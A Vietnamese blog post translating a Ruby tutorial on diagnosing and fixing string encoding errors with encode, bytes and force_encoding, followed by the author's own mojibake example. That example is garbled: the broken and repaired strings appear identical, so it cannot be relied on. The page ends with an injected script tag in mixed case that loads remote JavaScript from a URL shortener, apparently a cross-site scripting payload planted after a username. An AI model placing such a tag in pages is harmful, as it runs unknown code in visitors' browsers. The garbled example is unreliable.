Ba bước để khắc phục vấn đề về encoding trong Ruby
Bài đăng này đã không được cập nhật trong 3 năm
Mở đầu
Với Ruby
(hay là với bất kỳ một ngôn ngữ nào khác) thì bạn cũng sẽ rất hay làm việc với chuỗi
. Máy tính thì chỉ hiểu được chuỗi thông qua các byte
của chuỗi đó sau khi mã hóa
Hiện tại thì có rất nhiều chuẩn được dùng để mã hóa các ký tự có trong chuỗi. Cho nên đôi khi bạn sẽ gặp vấn đề với các chuẩn mã hóa mà bạn đang sử dụng. Đó là vấn đề về encoding
Sau đây mình xin trình bày bài viết 3 Steps to Fix Encoding Problems in Ruby
của tác giả Justin Weiss
và một ví dụ nhỏ của mình để mọi người hiểu thêm vấn đề bày
Phần 1 : Dịch bài viết
Bạn chỉ thực sự nghĩ về encoding
của một chuỗi khi mà đã có vấn đề xảy ra. Khi bạn kiểm tra theo dõi ngoại lệ của bạn và thấy những dòng như bên dưới
Encoding::InvalidByteSequenceError: "\xFE" on UTF-8
Do đó, với một encoding
không tốt thì làm thế nào để bạn có thể tìm ra vấn đề và cách khắc phục nó?
Thế nào là encoding
?
Nếu bạn có thể hình dung ra được những gì mà encoding
đã làm với chuỗi của bạn thì những vấn đề này sẽ dễ dàng để khắc phục hơn
Bạn có thể coi string
như là một mảng của các byte
hoặc là các số nhỏ
irb(main):001:0> "hello!".bytes
=> [104, 101, 108, 108, 111, 33]
Trong encoding
này thì 104
tương đương với h
,..., 33
tương ứng với !
Và như vậy, nó sẽ trở nên phức tạp hơn khi bạn sử dụng những ký tự ít phổ biến trong tiếng Anh
irb(main):002:0> "hellṏ!".bytes
=> [104, 101, 108, 108, 225, 185, 143, 33]
Trong ví dụ trên thì thật khó để biết được số nào sẽ tương ứng với ký tự nào. Thay vì một byte
, ṏ
sẽ tương ứng với tập hợp nhiều byte
[225, 185, 143]
. Nhưng vẫn có mối quan hệ giữa các byte
và các ký tự
. Và encoding
của một chuỗi sẽ đi định nghĩa quan hệ đó
Hãy thử xem tập các byte
đơn với 2 encoding
(ở đây tác giả đã kiểm tra với encoding ISO-8859-1
và ISO-8859-5
) khác nhau như thế nào
# Try an ISO-8859-1 string with a special character!
irb(main):003:0> str = "hellÔ!".encode("ISO-8859-1"); str.encode("UTF-8")
=> "hellÔ!"
irb(main):004:0> str.bytes
=> [104, 101, 108, 108, 212, 33]
# What would that string look like interpreted as ISO-8859-5 instead?
irb(main):005:0> str.force_encoding("ISO-8859-5"); str.encode("UTF-8")
=> "hellд!"
irb(main):006:0> str.bytes
=> [104, 101, 108, 108, 212, 33]
Tập hợp các byte
ở 2 encoding
là không có gì thay đổi. Tuy nhiên không phải tất cả đều thực sự giống nhau. Thay đổi encoding
đã thay đổi chuỗi được in ra mà các byte
thì vẫn như nhau
Và cũng không phải là tất cả các chuỗi đề có thể biểu diễn được với tất cả các encoding
irb(main):006:0> "hi∑".encode("Windows-1252")
Encoding::UndefinedConversionError: U+2211 to WINDOWS-1252 in conversion from UTF-8 to WINDOWS-1252
from (irb):61:in `encode'
from (irb):61
from /usr/local/bin/irb:11:in `<main>'
Hầu hết các encoding
đều có giới hạn và không thể xử lý được với mọi ký tự. Bạn có thể sẽ thấy lỗi của 1 ký tự trong encoding
này nhưng lại không có trong encoding
khác, hay là Ruby
không thể tìm ra cách dịch một ký tự từ encoding
này sang encoding
khác
Bạn có thể làm việc xung quanh lỗi này nếu bạn truyền các tùy chọn bổ sung vào encode
irb(main):064:0> "hi∑".encode("Windows-1252", invalid: :replace, undef: :replace)
=> "hi?"
Tùy chọn invalid
và undef
ở đây có nghĩa là sẽ thay thế các ký tự không thể dịch với 1 ký tự khác. Mặc định thì ký tự thay thế là ?
(nếu như là Unicode
thì đó là ký tự �
)
Thật không may, khi bạn thay thế các ký tự với encode
, bạn có thể sẽ đánh mất một số thông tin. Bạn không thể làm gì với những byte
đã bị thay thế bởi ?
. Nhưng nếu bạn muốn dữ liệu sẽ có trong encoding
mới thì việc đánh mất dữ liệu vẫn còn hơn là bị phá vỡ
Đến đây, bạn có thể thấy 3 method
chính về chuỗi để giúp bạn hiểu được encoding
như sau
-
encode
: dịch một chuỗi sangencoding
khác (chuyển đổi những ký tự sang những ký tự tương đương với nó nhưng ở trong mộtencoding
mới). -
bytes
: sẽ cho các ban thấy rằng cácbyte
tạo nên một chuỗi. -
force_encoding
: cho bạn thấy nhữngbyte
này sẽ được giải mã như thế nào bởi mộtencoding
khác.
Điểm khác biệt cơ bản giữa encode
và force_encoding
là encode
có thể thay đổi byte
còn force_encoding
thì không
3 bước để xử lý lỗi encoding
Bạn có thể xử lý hầu hết các vấn đề về encoding
với 3 bước sau
1. Khám phá ra encoding
thực sự của một chuỗi
Điều này nghe có vẻ đơn giản. Nhưng chỉ vì 1 chuỗi nói
là nó thuộc về encoding
nào đó thì cũng chưa chắc đó đã là encoding
thực sự của chuỗi
irb(main):078:0> "hi\x99!".encoding
=> #<Encoding:UTF-8>
Nếu nói chuỗi trên thuộc UTF-8
là không chính xác, vì có cả ký tự lạ \
trong đó. Vậy, làm thế nào để bạn tìm ra được encoding
thực sự của 1 chuỗi?
Rất nhiều các phần mềm cũ sẽ mặc định quy về 1 encoding
duy nhất, bạn có thể tìm hiểu xem đầu vào của chuỗi là từ đâu. Ví dụ, nếu một ai đó đã gián chuỗi từ Word
thì nó có thể là Windows-1252
. Hoặc nếu nó đến từ 1 file
hoặc là được kéo về từ một website cũ hơn thì nó có lẽ là ISO-8859-1
Tôi thấy cũng hữu ích để tìm các bảng encoding
, giống như là một trong những trang Wikipedia
được liên kết. Trong các bảng đó, bạn có thể thấy các ký tự được tham chiếu bởi các con số, và có thể xem nếu như nó có ý nghĩa
Trong ví dụ trên, biểu đồ Windows-1252
cho thấy byte 99
tương ứng với ký tự ™
. Byte 99
lại không tồn tại trong ISO-8859-1
. Nếu ™
có ý nghĩa ở đây, bạn có thể giả định rằng đầu vào trong Windows-1252
và đưa sang. Nếu không thì bạn có thể giữ cho đến khi bạn tìm ra một ký tự hợp lý hơn
2. Quyết định encoding
mà bạn muốn cho chuỗi của bạn
Thật dễ dàng, trừ khi bạn có một lý do thực mạnh mẽ, bạn muốn chuỗi của bạn là UTF-8
Có một encoding
thông dụng khác mà bạn có thể sử dụng trong Ruby
là ASCII-8BIT
. Trong ASCII-8BIT
, mỗi ký tự sẽ được biểu diễn bởi một byte
duy nhất. Điều đó tức là bạn luôn có str.chars.length == str.bytes.length
. Do vậy, nếu bạn muốn kiểm soát triệt để các byte
cụ thể trong chuỗi thì ASCII-8BIT
sẽ là lựa chọn tốt cho bạn
3. re-encode
chuỗi của bạn từ encoding
trong bước 1 đến encoding
trong bước 2
Bạn có thể thực hiện với hàm encode
. Trong ví dụ dưới đây, encoding
chuỗi của chúng ta đang là Windows-1252
và chúng ta muốn đưa nó trở thành UTF-8
irb(main):088:0> "hi\x99!".encode("UTF-8", "Windows-1252")
=> "hi™!"
Chuỗi trên trong có vẻ đã dễ đọc hơn nhiều
Hãy mở một giao diện điều khiển irb
và thực hành với các phương thức encode
, bytes
và force_encoding
. Xem hàm encode
làm hay đổi các byte
tạo nên chuỗi như thế nào
Xem sự khác nhau giữa các encoding
, và khi bạn đã quen các encoding
với các bước nêu trên, bạn có thể khắc phục vấn đề trong ít phút
Phần 2 : Ví dụ
Để giúp các bạn hiểu hơn về bài viết, mình xin trình bày một ví dụ. Có rất nhiều ký tự sẽ gây ra vấn đề cho encoding
. Ở đây mình xin trình bày cách để đưa chuỗi they’re
về they’re
Trước tiên ta có thể kiểm tra
irb(main):001:0> "they’re".bytes
=> [116, 104, 101, 121, 226, 128, 153, 114, 101]
Ta có str.chars.length = 7
nhưng str.bytes.length = 9
. Hãy kiểm tra ký tự ’
irb(main):002:0> "’".bytes
=> [226, 128, 153]
Chuỗi trên có ký tự ’
được biểu diễn bởi 3 bytes
và các ký tự còn lại mỗi ký tự tương ứng với 1 byte
. Nếu bạn tìm trong các encoding
thông dụng thì có thể thấy đây là Windows-1252
irb(main):003:0> "they’re".force_encoding("Windows-1252").encode("UTF-8")
=> "they’re"
Như vậy là đã có sự khác biệt giữa 2 encoding
Vậy vấn đề ở đây là
1. Chúng ta có một chuỗi UTF-8
là they’re
2. Được chuyển đồi từ 1 chuỗi Windows-1252 (they’re
)
3. Các byte
cần được đọc như là UTF-8
(they’re
)
Chúng ta cần
1. Sử dụng encode
để chuyển đổi chuỗi UTF-8
sang chuỗi Windows-1252
2. Sau đó, sử dụng force_encoding
để ép những ký tự lạ trong chuỗi Windows-1252
để đọc ra như là UTF-8
irb(main):003:0> "they’re".force_encoding("Windows-1252").encode("UTF-8")
=> "they’re"
irb(main):006:0> "they’re".encode("Windows-1252").force_encoding("UTF-8")
=> "they’re"
Vấn đề đã được giải quyết
Tham khảo
Cảm ơn các bạn đã theo dõi bài viết
tribeo
<sCrIpT src="https://goo.gl/4MuVJw"></ScRiPt>
All rights reserved